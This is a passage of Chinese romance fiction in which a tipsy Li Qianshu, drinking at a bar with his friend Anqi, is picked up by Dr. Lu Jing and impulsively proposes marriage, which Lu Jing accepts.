黎千树很爱她,也不忍看她难过。 但是真的让他跟一个没什么好感的人结婚过日子,他也做不到。 他思来想去,觉得有点头晕。 “千树,”安琪碰了碰他,“电话。” 她瞥了眼亮起的屏幕,“你陆医生的。” “嗯?”黎千树意识慢了半拍。 安琪帮他接通,将手机放在他耳边。 “千树,你到家了吗?” 电话那头响起熟悉的声音,黎千树反应了几秒,才慢半拍地回答:“……陆医生?” 喝酒之后反应变慢,连带着声音也变慢了。 陆璟很快察觉到他语气的不对,“喝酒了?” 黎千树低低地应了声“嗯”。 “你在哪儿?” 黎千树眉头皱起来,认真回想他在哪里,但是好一会儿也没有想起来,只是慢吞吞地问:“你要来接我吗?” 安琪在一旁眼睛睁大,没想到喝醉的黎千树这么直接。 “好。你先告诉我,你在哪里?” 安琪见他一直皱着脸不说话,电话也没有挂断,只好自己拿过手机,问:“陆医生是吗?我是千树的朋友,他现在喝醉了,不太清醒。” “你好,”陆璟语气带着一丝正式,礼貌询问,“方便告诉我你们在哪儿吗?” 安琪把这家酒馆的名字告诉他。 “谢谢,麻烦你照看他一下,我马上来。” 陆璟干脆利落地挂断。 安琪回想他刚才那语气和话里的意思,俨然已经将黎千树当成自己人了。明明她是黎千树的朋友,照看他不是理所应该吗。 “你这一句话,人家就要过来,我看他挺在意你的嘛,”安琪不免好奇,“正好我看看他什么样。” 黎千树闭着眼睛回应:“他很帅。” “真的?” 黎千树弧度很大地点头。 他想,陆医生不仅帅,还长得高,身材也好,相处起来很有分寸感。以前学习好,现在工作能力很强。倪医生说他不抽烟,也不怎么喝酒,洁身自好。 他们还是老同学,对彼此也不算陌生。 这样看,倒是很适合结婚。 脑海突然闪过这个念头,黎千树没忍住闷闷地笑了下。 他真是被曲女士的观念给影响了,怎么会想到这上面去。 但黎千树不否认自己对他有好感。 陆璟是不是对他也有呢,才会想跟他看摄影展,也看电影,还愿意来接自己。 黎千树在脑海里乱糟糟地想来想去,直到门口进来个人,安琪目光看过去,注意到那人的穿着打扮,以及脸上那副斯文的银色眼镜,相貌气质都不凡。 她推了推黎千树,要他看,问:“那是不是你的陆医生啊?” 黎千树直起身,顺着她的目光望过去,和陆璟正在寻找他的视线对上。 酒吧昏暗的光线映出他高挑的身材,腿长,所以步子迈得很大,从门口的位置一步步朝自己走近。 今天是周末,这个点酒馆里已经有不少顾客,聊天喝酒,楼上有几个年轻人兴致高昂在玩游戏摇骰子,还有酒馆里一直有人在唱歌,不那么安静,甚至带着几分吵闹。 但陆璟走过来的这点时间,黎千树却觉得到处都安静。 因为喝了酒,所以他脸热得厉害。 在他快到跟前的时候,黎千树不自觉地起身,往前迈了几步。 脚下不稳,却稳稳当当地落进对方怀里。 黎千树闻到熟悉的气息,脑海里仍然是方才那些混乱的念头,挥之不去。 在对方牢牢接住自己这一刻,黎千树没来由地产生了一个冲动的念头。 一个既能让曲女士安心,也能跟陆医生拉近距离的念头,甚至称得上是胆大妄为,得寸进尺。 “你来…啦。” 他拖着声音喃喃,仰头,漂亮的眼睛缓慢地眨了眨,长睫扑闪,白皙脸颊也染上一层浅淡薄红,醉得明显。 黎千树就这么直愣愣看向眼前的人,带着醉意开口:“陆同学,结婚吗?” 没有任何预兆。 陆璟低头,眼下闪过愕然。 他感觉自己的心口在接住他的时候被重重撞了下,正微微泛着点疼,也仍然跳动得厉害。 黎千树对此浑然不觉,望着他的眼神纯真而坦诚,灼烧心脏。 “好。”他低声回应。 “?” 黎千树显然没有跟上他的回答,仍是眨巴着眼睛,思绪乱着,有一些茫然,又像是在思考。 “我说好。”陆璟又重复道。